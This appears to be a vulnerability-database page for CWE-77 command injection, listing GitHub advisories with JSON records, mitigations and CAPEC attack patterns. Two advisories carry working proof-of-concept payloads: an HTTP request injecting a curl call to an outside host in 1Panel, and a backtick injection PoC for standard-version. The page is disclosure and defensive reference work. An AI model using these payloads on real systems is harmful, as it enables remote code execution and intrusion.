CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5383 vulnerabilities reference this CWE, most recent first.
GHSA-7WCX-H8GF-8FH3
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38Barco TransForm N before 3.8 allows Command Injection (issue 2 of 4). The NDN-210 has a web administration panel which is made available over https. There is a command injection issue that will allow authenticated users of the administration panel to perform authenticated remote code execution. An issue exists in split_card_cmd.php in which the http parameters xmodules, ymodules and savelocking are not properly handled. The NDN-210 is part of Barco TransForm N solution and includes the patch from TransForm N version 3.8 onwards.
{
"affected": [],
"aliases": [
"CVE-2020-17502"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-08T18:15:00Z",
"severity": "HIGH"
},
"details": "Barco TransForm N before 3.8 allows Command Injection (issue 2 of 4). The NDN-210 has a web administration panel which is made available over https. There is a command injection issue that will allow authenticated users of the administration panel to perform authenticated remote code execution. An issue exists in split_card_cmd.php in which the http parameters xmodules, ymodules and savelocking are not properly handled. The NDN-210 is part of Barco TransForm N solution and includes the patch from TransForm N version 3.8 onwards.",
"id": "GHSA-7wcx-h8gf-8fh3",
"modified": "2022-05-24T17:38:18Z",
"published": "2022-05-24T17:38:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-17502"
},
{
"type": "WEB",
"url": "https://www.barco.com/en/support/cms"
},
{
"type": "WEB",
"url": "https://www.barco.com/en/support/knowledge-base/kb11589"
},
{
"type": "WEB",
"url": "https://www.barco.com/en/support/transform-n-management-server"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7WJJ-FWV4-7V29
Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:07JetBrains Ktor framework before 1.2.0-rc does not sanitize the username provided by the user for the LDAP protocol, leading to command injection.
{
"affected": [],
"aliases": [
"CVE-2019-12736"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-02T19:15:00Z",
"severity": "CRITICAL"
},
"details": "JetBrains Ktor framework before 1.2.0-rc does not sanitize the username provided by the user for the LDAP protocol, leading to command injection.",
"id": "GHSA-7wjj-fwv4-7v29",
"modified": "2024-04-04T02:07:35Z",
"published": "2022-05-24T16:57:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12736"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com/blog/2019/09/26/jetbrains-security-bulletin-q2-2019"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7X2C-FGX6-XF9H
Vulnerability from github – Published: 2023-07-05 21:38 – Updated: 2023-07-07 22:18Impact
The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.
- Vulnerability analysis.
backend\app\api\v1\terminal.go#ContainerWsSsh

- vulnerability reproduction.
GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://192.168.109.152:40982
Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ==
Connection: keep-alive, Upgrade
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
- The successful execution of system commands.

Affected versions: <= 1.3.5
Patches
The vulnerability has been fixed in v1.3.6.
Workarounds
It is recommended to upgrade the version to v1.3.6.
References
If you have any questions or comments about this advisory:
Open an issue in https://github.com/1Panel-dev/1Panel Email us at wanghe@fit2cloud.com
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/1Panel-dev/1Panel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-36458"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-05T21:38:53Z",
"nvd_published_at": "2023-07-05T21:15:09Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.\n\n1. Vulnerability analysis.\n\n```\nbackend\\app\\api\\v1\\terminal.go#ContainerWsSsh\n```\n\n\n2. vulnerability reproduction.\n\n```\nGET /api/v1/containers/exec?cols=80\u0026rows=24\u0026containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||\u0026user=asd\u0026command=/bin/bash HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nSec-WebSocket-Version: 13\nOrigin: http://192.168.109.152:40982\nSec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ==\nConnection: keep-alive, Upgrade\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\nPragma: no-cache\nCache-Control: no-cache\nUpgrade: websocket\n```\n\n3. The successful execution of system commands.\n\n\nAffected versions: \u003c= 1.3.5\n\n### Patches\n\nThe vulnerability has been fixed in v1.3.6.\n\n### Workarounds\n\nIt is recommended to upgrade the version to v1.3.6.\n\n### References\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/1Panel-dev/1Panel\nEmail us at wanghe@fit2cloud.com\n",
"id": "GHSA-7x2c-fgx6-xf9h",
"modified": "2023-07-07T22:18:09Z",
"published": "2023-07-05T21:38:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-7x2c-fgx6-xf9h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36458"
},
{
"type": "PACKAGE",
"url": "https://github.com/1Panel-dev/1Panel"
},
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/1Panel/releases/tag/v1.3.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "1Panel vulnerable to command injection when entering the container terminal"
}
GHSA-7X4Q-86G3-3VWP
Vulnerability from github – Published: 2022-10-14 12:00 – Updated: 2025-05-15 18:31D-Link COVR 1200,1202,1203 v1.08 was discovered to contain a command injection vulnerability via the /SetTriggerWPS/PIN parameter at function SetTriggerWPS.
{
"affected": [],
"aliases": [
"CVE-2022-42161"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-13T19:15:00Z",
"severity": "HIGH"
},
"details": "D-Link COVR 1200,1202,1203 v1.08 was discovered to contain a command injection vulnerability via the /SetTriggerWPS/PIN parameter at function SetTriggerWPS.",
"id": "GHSA-7x4q-86g3-3vwp",
"modified": "2025-05-15T18:31:29Z",
"published": "2022-10-14T12:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42161"
},
{
"type": "WEB",
"url": "https://github.com/14isnot40/vul_discovery/blob/master/D-Link%20COVR%2012xx%20.pdf"
},
{
"type": "WEB",
"url": "https://www.dlink.com/en/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7X56-FV78-3RQ9
Vulnerability from github – Published: 2022-03-19 00:01 – Updated: 2022-03-26 00:00An issue was discovered in Pascom Cloud Phone System before 7.20.x. In the management REST API, /services/apply in exd.pl allows remote attackers to execute arbitrary code via shell metacharacters.
{
"affected": [],
"aliases": [
"CVE-2021-45966"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-18T05:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Pascom Cloud Phone System before 7.20.x. In the management REST API, /services/apply in exd.pl allows remote attackers to execute arbitrary code via shell metacharacters.",
"id": "GHSA-7x56-fv78-3rq9",
"modified": "2022-03-26T00:00:49Z",
"published": "2022-03-19T00:01:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45966"
},
{
"type": "WEB",
"url": "https://kerbit.io/research/read/blog/4"
},
{
"type": "WEB",
"url": "https://tutorialboy24.blogspot.com/2022/03/the-story-of-3-bugs-that-lead-to.html"
},
{
"type": "WEB",
"url": "https://www.pascom.net/doc/en/release-notes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7X8G-H246-GVX3
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2024-04-24 20:31Dolibarr 12.0.3 is vulnerable to authenticated Remote Code Execution. An attacker who has the access the admin dashboard can manipulate the backup function by inserting a payload into the filename for the zipfilename_template parameter to admin/tools/dolibarr_export.php.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.0.3"
},
"package": {
"ecosystem": "Packagist",
"name": "dolibarr/dolibarr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-35136"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T20:31:29Z",
"nvd_published_at": "2020-12-23T15:15:00Z",
"severity": "HIGH"
},
"details": "Dolibarr 12.0.3 is vulnerable to authenticated Remote Code Execution. An attacker who has the access the admin dashboard can manipulate the backup function by inserting a payload into the filename for the zipfilename_template parameter to admin/tools/dolibarr_export.php.",
"id": "GHSA-7x8g-h246-gvx3",
"modified": "2024-04-24T20:31:29Z",
"published": "2022-05-24T17:37:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35136"
},
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/commit/4fcd3fe49332baab0e424225ad10b76b47ebcbac"
},
{
"type": "PACKAGE",
"url": "https://github.com/Dolibarr/dolibarr"
},
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/releases"
},
{
"type": "WEB",
"url": "https://sourceforge.net/projects/dolibarr"
},
{
"type": "WEB",
"url": "http://bilishim.com/2020/12/18/zero-hunting-2.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dolibarr authenticated Remote Code Execution"
}
GHSA-7X9J-WF2G-2H5X
Vulnerability from github – Published: 2025-06-26 18:31 – Updated: 2025-06-26 18:31A vulnerability was found in TOTOLINK CA300-PoE 6.2c.884. It has been rated as critical. Affected by this issue is the function setUpgradeUboot of the file upgrade.so. The manipulation of the argument FileName leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-6620"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-25T18:15:25Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in TOTOLINK CA300-PoE 6.2c.884. It has been rated as critical. Affected by this issue is the function setUpgradeUboot of the file upgrade.so. The manipulation of the argument FileName leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-7x9j-wf2g-2h5x",
"modified": "2025-06-26T18:31:25Z",
"published": "2025-06-26T18:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6620"
},
{
"type": "WEB",
"url": "https://github.com/wudipjq/my_vuln/blob/main/totolink4/vuln_46/46.md"
},
{
"type": "WEB",
"url": "https://github.com/wudipjq/my_vuln/blob/main/totolink4/vuln_46/46.md#poc"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.313838"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.313838"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.602265"
},
{
"type": "WEB",
"url": "https://www.totolink.net"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7XCP-5FVH-7FWM
Vulnerability from github – Published: 2023-05-20 18:30 – Updated: 2024-04-04 04:15LuaTeX before 1.17.0 allows execution of arbitrary shell commands when compiling a TeX file obtained from an untrusted source. This occurs because luatex-core.lua lets the original io.popen be accessed. This also affects TeX Live before 2023 r66984 and MiKTeX before 23.5.
{
"affected": [],
"aliases": [
"CVE-2023-32700"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-20T18:15:09Z",
"severity": "HIGH"
},
"details": "LuaTeX before 1.17.0 allows execution of arbitrary shell commands when compiling a TeX file obtained from an untrusted source. This occurs because luatex-core.lua lets the original io.popen be accessed. This also affects TeX Live before 2023 r66984 and MiKTeX before 23.5.",
"id": "GHSA-7xcp-5fvh-7fwm",
"modified": "2024-04-04T04:15:44Z",
"published": "2023-05-20T18:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32700"
},
{
"type": "WEB",
"url": "https://github.com/TeX-Live/texlive-source/releases/tag/build-svn66984"
},
{
"type": "WEB",
"url": "https://gitlab.lisn.upsaclay.fr/texlive/luatex/-/tags/1.17.0"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RLY43MIRONJSJVNBDFQHQ26MP3JIOB3H"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TF6YXUUFRGBIXIIIEV5SGBJXXT2SMUK5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RLY43MIRONJSJVNBDFQHQ26MP3JIOB3H"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TF6YXUUFRGBIXIIIEV5SGBJXXT2SMUK5"
},
{
"type": "WEB",
"url": "https://tug.org/pipermail/tex-live/2023-May/049188.html"
},
{
"type": "WEB",
"url": "https://tug.org/~mseven/luatex.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7XCX-6WJH-7XP2
Vulnerability from github – Published: 2020-07-13 21:34 – Updated: 2021-09-22 21:03GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2020-111
The GitHub Security Lab team has identified a potential security vulnerability in standard-version.
Summary
The standardVersion function has a command injection vulnerability. Clients of the standard-version library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.
Product
Standard Version
Tested Version
Commit 2f04ac8
Details
Issue 1: Command injection in standardVersion
The following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:
npm install standard-version
git init
echo "foo" > foo.txt # the git repo has to be non-empty
git add foo.txt
git commit -am "initial commit"
Now create a file with the following contents:
var fs = require("fs");
// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');
const standardVersion = require('standard-version')
standardVersion({
noVerify: true,
infile: 'foo.txt',
releaseCommitMessageFormat: "bla `touch exploit`"
})
and run it:
node test.js
Notice that a file named exploit has been created.
This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.
We have written a CodeQL query, which automatically detects this vulnerability. You can see the results of the query on the standard-version project here.
Impact
This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.
Remediation
We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.
Credit
This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).
Contact
You can contact the GHSL team at securitylab@github.com, please include GHSL-2020-111 in any communication regarding this issue.
Disclosure Policy
This report is subject to our coordinated disclosure policy.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "standard-version"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2020-07-13T21:33:29Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-111`\n\nThe [GitHub Security Lab](https://securitylab.github.com) team has identified a potential security vulnerability in [standard-version](https://github.com/conventional-changelog/standard-version).\n\n## Summary\n\nThe `standardVersion` function has a command injection vulnerability. Clients of the `standard-version` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.\n\n## Product\nStandard Version\n \n## Tested Version\nCommit [2f04ac8](https://github.com/conventional-changelog/standard-version/tree/2f04ac8fc1c134a1981c23a093d4eece77d0bbb9/)\n\n## Details\n\n### Issue 1: Command injection in `standardVersion`\n\nThe following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:\n\n```\nnpm install standard-version\ngit init\necho \"foo\" \u003e foo.txt # the git repo has to be non-empty\ngit add foo.txt\ngit commit -am \"initial commit\"\n```\n\nNow create a file with the following contents:\n\n```\nvar fs = require(\"fs\");\n// setting up a bit of environment\nfs.writeFileSync(\"package.json\", \u0027{\"name\": \"foo\", \"version\": \"1.0.0\"}\u0027);\n\nconst standardVersion = require(\u0027standard-version\u0027)\n\nstandardVersion({\n noVerify: true,\n infile: \u0027foo.txt\u0027,\n releaseCommitMessageFormat: \"bla `touch exploit`\"\n})\n```\n\nand run it:\n\n```\nnode test.js\n```\n\nNotice that a file named `exploit` has been created.\n\nThis vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:\n[CVE-2020-7646](https://github.com/advisories/GHSA-m8xj-5v73-3hh8),\n[CVE-2020-7614](https://github.com/advisories/GHSA-426h-24vj-qwxf),\n[CVE-2020-7597](https://github.com/advisories/GHSA-5q88-cjfq-g2mh),\n[CVE-2019-10778](https://github.com/advisories/GHSA-4gp3-p7ph-x2jr),\n[CVE-2019-10776](https://github.com/advisories/GHSA-84cm-v6jp-gjmr),\n[CVE-2018-16462](https://github.com/advisories/GHSA-9jm3-5835-537m),\n[CVE-2018-16461](https://github.com/advisories/GHSA-7g2w-6r25-2j7p),\n[CVE-2018-16460](https://github.com/advisories/GHSA-cfhg-9x44-78h2),\n[CVE-2018-13797](https://github.com/advisories/GHSA-pp57-mqmh-44h7),\n[CVE-2018-3786](https://github.com/advisories/GHSA-c9j3-wqph-5xx9),\n[CVE-2018-3772](https://github.com/advisories/GHSA-wjr4-2jgw-hmv8),\n[CVE-2018-3746](https://github.com/advisories/GHSA-3pxp-6963-46r9),\n[CVE-2017-16100](https://github.com/advisories/GHSA-jcw8-r9xm-32c6),\n[CVE-2017-16042](https://github.com/advisories/GHSA-qh2h-chj9-jffq).\n\nWe have written a [CodeQL](https://codeql.com) query, which automatically detects this vulnerability. You can see the results of the query on the `standard-version` project [here](https://lgtm.com/query/237522640229151035/).\n\n#### Impact\n\nThis issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.\n\n#### Remediation\n\nWe recommend not using an API that can interpret a string as a shell command. For example, use [`child_process.execFile`](https://nodejs.org/api/child_process.html#child_process_child_process_execfile_file_args_options_callback) instead of [`child_process.exec`](https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback).\n\n## Credit\n\nThis issue was discovered and reported by GitHub Engineer [@erik-krogh (Erik Krogh Kristensen)](https://github.com/erik-krogh).\n\n## Contact\n\nYou can contact the GHSL team at `securitylab@github.com`, please include `GHSL-2020-111` in any communication regarding this issue.\n\n## Disclosure Policy\n\nThis report is subject to our [coordinated disclosure policy](https://securitylab.github.com/disclosures#policy).",
"id": "GHSA-7xcx-6wjh-7xp2",
"modified": "2021-09-22T21:03:04Z",
"published": "2020-07-13T21:34:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/conventional-changelog/standard-version/security/advisories/GHSA-7xcx-6wjh-7xp2"
},
{
"type": "PACKAGE",
"url": "https://github.com/conventional-changelog/standard-version"
},
{
"type": "WEB",
"url": "https://github.com/conventional-changelog/standard-version/tree/2f04ac8fc1c134a1981c23a093d4eece77d0bbb9"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Command Injection in standard-version"
}
GHSA-7XGG-9M2P-JQR2
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38The NDN-210 has a web administration panel which is made available over https. There is a command injection issue that will allow authenticated users to the administration panel to perform authenticated remote code execution. An issue exists in split_card_cmd.php in which the http parameter "locking" is not properly handled. The NDN-210 is part of Barco TransForm N solution and this vulnerability is patched from TransForm N version 3.8 onwards.
{
"affected": [],
"aliases": [
"CVE-2020-17503"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-08T18:15:00Z",
"severity": "HIGH"
},
"details": "The NDN-210 has a web administration panel which is made available over https. There is a command injection issue that will allow authenticated users to the administration panel to perform authenticated remote code execution. An issue exists in split_card_cmd.php in which the http parameter \"locking\" is not properly handled. The NDN-210 is part of Barco TransForm N solution and this vulnerability is patched from TransForm N version 3.8 onwards.",
"id": "GHSA-7xgg-9m2p-jqr2",
"modified": "2022-05-24T17:38:19Z",
"published": "2022-05-24T17:38:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-17503"
},
{
"type": "WEB",
"url": "https://www.barco.com/en/support/cms"
},
{
"type": "WEB",
"url": "https://www.barco.com/en/support/knowledge-base/kb11589"
},
{
"type": "WEB",
"url": "https://www.barco.com/en/support/transform-n-management-server"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.